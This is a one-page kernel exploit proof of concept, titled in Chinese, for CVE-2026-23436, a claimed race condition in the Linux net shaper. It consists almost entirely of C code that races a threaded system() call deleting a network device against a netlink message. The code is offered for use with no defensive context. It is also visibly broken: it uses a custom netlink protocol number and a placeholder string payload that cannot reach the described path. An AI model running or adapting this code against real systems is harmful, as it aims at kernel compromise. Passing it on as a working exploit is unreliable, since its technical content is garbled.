CVE-2026-23436: Linux内核流量整形器竞争条件漏洞

/* * PoC for CVE-2026-23436: Linux Kernel Race Condition in net: shaper * This is a conceptual PoC to trigger the race condition. * Compile with: gcc -o poc_cve2026_23436 poc_cve2026_23436.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <pthread.h> #include <errno.h> #define NETLINK_USER 31 void* trigger_unreg(void* arg) { // Simulate the unregister operation timing usleep(100000); // Adjust timing to hit the race window // In a real exploit, this would involve ioctl or netlink calls to delete the netdev system("ip link delete dev shaper0 type dummy"); return NULL; } int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; pthread_t thread_id; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_USER); if (sock_fd < 0) { perror("socket"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Setup thread to unregister netdev concurrently pthread_create(&thread_id, NULL, trigger_unreg, NULL); // Send Netlink message to setup shaper hierarchy (triggering the vulnerable path) nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(1024)); memset(nlh, 0, NLMSG_SPACE(1024)); nlh->nlmsg_len = NLMSG_SPACE(1024); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; nlh->nlmsg_type = RTM_NEWQDISC; // Example type // Fill payload (simplified for PoC) strcpy(NLMSG_DATA(nlh), "Setup Hierarchy"); iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending Netlink message to trigger race...\n"); sendmsg(sock_fd, &msg, 0); printf("Waiting for race to complete...\n"); pthread_join(thread_id, NULL); close(sock_fd); free(nlh); return 0; }